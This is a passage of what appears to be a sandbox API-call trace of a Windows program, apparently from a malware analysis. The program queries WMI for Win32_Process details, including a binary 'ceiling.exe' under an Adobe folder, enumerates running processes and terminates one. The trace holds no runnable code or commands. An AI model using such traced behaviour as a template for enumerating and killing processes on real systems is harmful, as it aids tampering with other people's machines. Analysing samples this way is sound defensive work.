WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.483] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.483] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.483] IWbemClassObject:GetNames (in: This=0x60fd808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e2ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e2b8 | out: pNames=0x5e8e2b8*="\x01ƀ\x04") returned 0x0 [0067.484] SafeArrayGetDim (psa=0x41eaa0) returned 0x1 [0067.484] SafeArrayGetDim (psa=0x41eaa0) returned 0x1 [0067.484] SafeArrayGetLBound (in: psa=0x41eaa0, nDim=0x1, plLbound=0x5e8deb4 | out: plLbound=0x5e8deb4) returned 0x0 [0067.484] IWbemClassObject:Get (in: This=0x60fd808, wszName="__GENUS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d8dc*=0, plFlavor=0x2e8d8e0*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2e8d8dc*=3, plFlavor=0x2e8d8e0*=64) returned 0x0 [0067.484] IWbemClassObject:Get (in: This=0x60fd808, wszName="__CLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d910*=0, plFlavor=0x2e8d914*=0 | out: pVal=0x5e8e2e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2e8d910*=8, plFlavor=0x2e8d914*=64) returned 0x0 [0067.484] SysStringLen (param_1="Win32_Process") returned 0xd [0067.484] IWbemClassObject:Get (in: This=0x60fd808, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d964*=0, plFlavor=0x2e8d968*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d964*=8, plFlavor=0x2e8d968*=64) returned 0x0 [0067.484] IWbemClassObject:Get (in: This=0x60fd808, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d98c*=0, plFlavor=0x2e8d990*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d98c*=8, plFlavor=0x2e8d990*=64) returned 0x0 [0067.485] IWbemClassObject:Get (in: This=0x60fd808, wszName="__RELPATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d9b4*=0, plFlavor=0x2e8d9b8*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d9b4*=8, plFlavor=0x2e8d9b8*=64) returned 0x0 [0067.485] IWbemClassObject:Get (in: This=0x60fd808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8d9dc*=0, plFlavor=0x2e8d9e0*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2e8d9dc*=3, plFlavor=0x2e8d9e0*=64) returned 0x0 [0067.485] IWbemClassObject:Get (in: This=0x60fd808, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8da10*=0, plFlavor=0x2e8da14*=0 | out: pVal=0x5e8e2e4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eaa0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b240, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2e8da10*=8200, plFlavor=0x2e8da14*=64) returned 0x0 [0067.485] IWbemClassObject:Get (in: This=0x60fd808, wszName="__SERVER", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8da48*=0, plFlavor=0x2e8da4c*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8da48*=8, plFlavor=0x2e8da4c*=64) returned 0x0 [0067.485] IWbemClassObject:Get (in: This=0x60fd808, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8da70*=0, plFlavor=0x2e8da74*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8da70*=8, plFlavor=0x2e8da74*=64) returned 0x0 [0067.485] IWbemClassObject:Get (in: This=0x60fd808, wszName="__PATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8da98*=0, plFlavor=0x2e8da9c*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8da98*=8, plFlavor=0x2e8da9c*=64) returned 0x0 [0067.486] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e364 | out: puCount=0x5e8e364*=0x2) returned 0x0 [0067.486] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e360*=0x17, pszText=0x0) returned 0x0 [0067.486] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e360*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.486] IWbemClassObject:Get (in: This=0x60fd808, wszName="ExecutablePath", lFlags=0, pVal=0x5e8e320*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8db00*=0, plFlavor=0x2e8db04*=0 | out: pVal=0x5e8e320*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Program Files (x86)\\Adobe\\ceiling.exe", varVal2=0x0), pType=0x2e8db00*=8, plFlavor=0x2e8db04*=0) returned 0x0 [0067.486] SysStringLen (param_1="C:\\Program Files (x86)\\Adobe\\ceiling.exe") returned 0x28 [0067.486] IWbemClassObject:Get (in: This=0x60fd808, wszName="ExecutablePath", lFlags=0, pVal=0x5e8e3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8db00*=8, plFlavor=0x2e8db04*=0 | out: pVal=0x5e8e3d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Program Files (x86)\\Adobe\\ceiling.exe", varVal2=0x0), pType=0x2e8db00*=8, plFlavor=0x2e8db04*=0) returned 0x0 [0067.486] SysStringLen (param_1="C:\\Program Files (x86)\\Adobe\\ceiling.exe") returned 0x28 [0067.491] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57 [0067.492] GetLastError () returned 0x0 [0067.492] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x57, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.492] GetLastError () returned 0x0 [0067.496] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b [0067.496] GetLastError () returned 0x0 [0067.496] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5b, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.497] GetLastError () returned 0x0 [0067.500] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f [0067.501] GetLastError () returned 0x0 [0067.501] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x5f, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.501] GetLastError () returned 0x0 [0067.504] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x63 [0067.504] GetLastError () returned 0x0 [0067.504] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x63, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.505] GetLastError () returned 0x0 [0067.508] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67 [0067.514] GetLastError () returned 0x0 [0067.514] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x67, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.514] GetLastError () returned 0x0 [0067.514] SetConsoleTextAttribute (hConsoleOutput=0x67, wAttributes=0x7) returned 1 [0067.514] GetLastError () returned 0x0 [0067.514] CloseHandle (hObject=0x67) returned 1 [0067.514] GetLastError () returned 0x0 [0067.518] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67 [0067.518] GetLastError () returned 0x0 [0067.518] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x67, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.518] GetLastError () returned 0x0 [0067.518] SetConsoleTextAttribute (hConsoleOutput=0x67, wAttributes=0x7) returned 1 [0067.519] GetLastError () returned 0x0 [0067.519] CloseHandle (hObject=0x67) returned 1 [0067.519] GetLastError () returned 0x0 [0067.519] WriteFile (in: hFile=0x154, lpBuffer=0x2cbd710*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0x5e8e4dc, lpOverlapped=0x0 | out: lpBuffer=0x2cbd710*, lpNumberOfBytesWritten=0x5e8e4dc*=0x44, lpOverlapped=0x0) returned 1 [0067.519] GetLastError () returned 0x0 [0067.523] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67 [0067.523] GetLastError () returned 0x0 [0067.523] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x67, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.523] GetLastError () returned 0x0 [0067.523] SetConsoleTextAttribute (hConsoleOutput=0x67, wAttributes=0x7) returned 1 [0067.524] GetLastError () returned 0x0 [0067.524] CloseHandle (hObject=0x67) returned 1 [0067.524] GetLastError () returned 0x0 [0067.528] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67 [0067.528] GetLastError () returned 0x0 [0067.528] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x67, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.528] GetLastError () returned 0x0 [0067.528] SetConsoleTextAttribute (hConsoleOutput=0x67, wAttributes=0x7) returned 1 [0067.528] GetLastError () returned 0x0 [0067.528] CloseHandle (hObject=0x67) returned 1 [0067.529] GetLastError () returned 0x0 [0067.529] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e474 | out: puCount=0x5e8e474*=0x2) returned 0x0 [0067.529] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e470*=0x17, pszText=0x0) returned 0x0 [0067.529] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e470*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.529] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e474 | out: puCount=0x5e8e474*=0x2) returned 0x0 [0067.529] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e470*=0x17, pszText=0x0) returned 0x0 [0067.529] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e470*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.529] IWbemClassObject:GetNames (in: This=0x60fd808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e438*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e404 | out: pNames=0x5e8e404*="\x01ƀ\x04") returned 0x0 [0067.529] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.529] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.529] SafeArrayGetLBound (in: psa=0x41eb00, nDim=0x1, plLbound=0x5e8e000 | out: plLbound=0x5e8e000) returned 0x0 [0067.530] IWbemClassObject:Get (in: This=0x60fd808, wszName="__GENUS", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e916f4*=0, plFlavor=0x2e916f8*=0 | out: pVal=0x5e8e430*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2e916f4*=3, plFlavor=0x2e916f8*=64) returned 0x0 [0067.530] IWbemClassObject:Get (in: This=0x60fd808, wszName="__CLASS", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e91728*=0, plFlavor=0x2e9172c*=0 | out: pVal=0x5e8e430*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2e91728*=8, plFlavor=0x2e9172c*=64) returned 0x0 [0067.530] SysStringLen (param_1="Win32_Process") returned 0xd [0067.530] IWbemClassObject:Get (in: This=0x60fd808, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e9177c*=0, plFlavor=0x2e91780*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e9177c*=8, plFlavor=0x2e91780*=64) returned 0x0 [0067.530] IWbemClassObject:Get (in: This=0x60fd808, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e917a4*=0, plFlavor=0x2e917a8*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e917a4*=8, plFlavor=0x2e917a8*=64) returned 0x0 [0067.531] IWbemClassObject:Get (in: This=0x60fd808, wszName="__RELPATH", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e917cc*=0, plFlavor=0x2e917d0*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e917cc*=8, plFlavor=0x2e917d0*=64) returned 0x0 [0067.531] IWbemClassObject:Get (in: This=0x60fd808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e917f4*=0, plFlavor=0x2e917f8*=0 | out: pVal=0x5e8e430*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2e917f4*=3, plFlavor=0x2e917f8*=64) returned 0x0 [0067.531] IWbemClassObject:Get (in: This=0x60fd808, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e91828*=0, plFlavor=0x2e9182c*=0 | out: pVal=0x5e8e430*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eb00*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b240, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2e91828*=8200, plFlavor=0x2e9182c*=64) returned 0x0 [0067.531] IWbemClassObject:Get (in: This=0x60fd808, wszName="__SERVER", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e91860*=0, plFlavor=0x2e91864*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e91860*=8, plFlavor=0x2e91864*=64) returned 0x0 [0067.531] IWbemClassObject:Get (in: This=0x60fd808, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e91888*=0, plFlavor=0x2e9188c*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e91888*=8, plFlavor=0x2e9188c*=64) returned 0x0 [0067.531] IWbemClassObject:Get (in: This=0x60fd808, wszName="__PATH", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e918b0*=0, plFlavor=0x2e918b4*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e918b0*=8, plFlavor=0x2e918b4*=64) returned 0x0 [0067.531] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e4b0 | out: puCount=0x5e8e4b0*=0x2) returned 0x0 [0067.531] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e4ac*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e4ac*=0x17, pszText=0x0) returned 0x0 [0067.531] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e4ac*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e4ac*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.532] IWbemClassObject:Get (in: This=0x60fd808, wszName="ProcessId", lFlags=0, pVal=0x5e8e46c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e91918*=0, plFlavor=0x2e9191c*=0 | out: pVal=0x5e8e46c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x180, varVal2=0x0), pType=0x2e91918*=19, plFlavor=0x2e9191c*=0) returned 0x0 [0067.532] IWbemClassObject:Get (in: This=0x60fd808, wszName="ProcessId", lFlags=0, pVal=0x5e8e524*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e91918*=19, plFlavor=0x2e9191c*=0 | out: pVal=0x5e8e524*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x180, varVal2=0x0), pType=0x2e91918*=19, plFlavor=0x2e9191c*=0) returned 0x0 [0067.532] EnumProcesses (in: lpidProcess=0x2e94934, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2e94934, lpcbNeeded=0x5e8e5a8) returned 1 [0067.533] GetLastError () returned 0x0 [0067.534] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3ac82d8, Length=0x20000, ResultLength=0x5e8e528 | out: SystemInformation=0x3ac82d8, ResultLength=0x5e8e528*=0xdf20) returned 0x0 [0067.535] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0067.536] GetLastError () returned 0x0 [0067.537] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5d0 | out: puCount=0x5e8e5d0*=0x2) returned 0x0 [0067.537] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5cc*=0x17, pszText=0x0) returned 0x0 [0067.537] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5cc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.537] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb20c4*=0, plFlavor=0x2eb20c8*=0 | out: pVal=0x5e8e58c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb20c4*=8, plFlavor=0x2eb20c8*=64) returned 0x0 [0067.537] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb20c4*=8, plFlavor=0x2eb20c8*=64 | out: pVal=0x5e8e590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb20c4*=8, plFlavor=0x2eb20c8*=64) returned 0x0 [0067.537] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5d0 | out: puCount=0x5e8e5d0*=0x2) returned 0x0 [0067.537] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5cc*=0x17, pszText=0x0) returned 0x0 [0067.537] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5cc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.537] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__CLASS", lFlags=0, pVal=0x5e8e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb212c*=0, plFlavor=0x2eb2130*=0 | out: pVal=0x5e8e58c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2eb212c*=8, plFlavor=0x2eb2130*=64) returned 0x0 [0067.537] SysStringLen (param_1="Win32_Process") returned 0xd [0067.537] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__CLASS", lFlags=0, pVal=0x5e8e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb212c*=8, plFlavor=0x2eb2130*=64 | out: pVal=0x5e8e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2eb212c*=8, plFlavor=0x2eb2130*=64) returned 0x0 [0067.538] SysStringLen (param_1="Win32_Process") returned 0xd [0067.538] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5c0 | out: puCount=0x5e8e5c0*=0x2) returned 0x0 [0067.538] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5bc*=0x17, pszText=0x0) returned 0x0 [0067.538] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5bc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.538] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5c0 | out: puCount=0x5e8e5c0*=0x2) returned 0x0 [0067.538] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5bc*=0x17, pszText=0x0) returned 0x0 [0067.538] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5bc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5bc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.538] IWbemClassObject:GetNames (in: This=0x60fe4a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e584*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e550 | out: pNames=0x5e8e550*="\x01ƀ\x04") returned 0x0 [0067.538] SafeArrayGetDim (psa=0x41eaa0) returned 0x1 [0067.538] SafeArrayGetDim (psa=0x41eaa0) returned 0x1 [0067.538] SafeArrayGetLBound (in: psa=0x41eaa0, nDim=0x1, plLbound=0x5e8e14c | out: plLbound=0x5e8e14c) returned 0x0 [0067.538] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__GENUS", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2eb2c68*=0, plFlavor=0x2eb2c6c*=0 | out: pVal=0x5e8e57c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2eb2c68*=3, plFlavor=0x2eb2c6c*=64) returned 0x0 [0067.538] IWbemClassObject:Get (in: This=0x60fe4a0, wszName="__CLASS", lFlags=0, pVal=0x5e8e57c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, 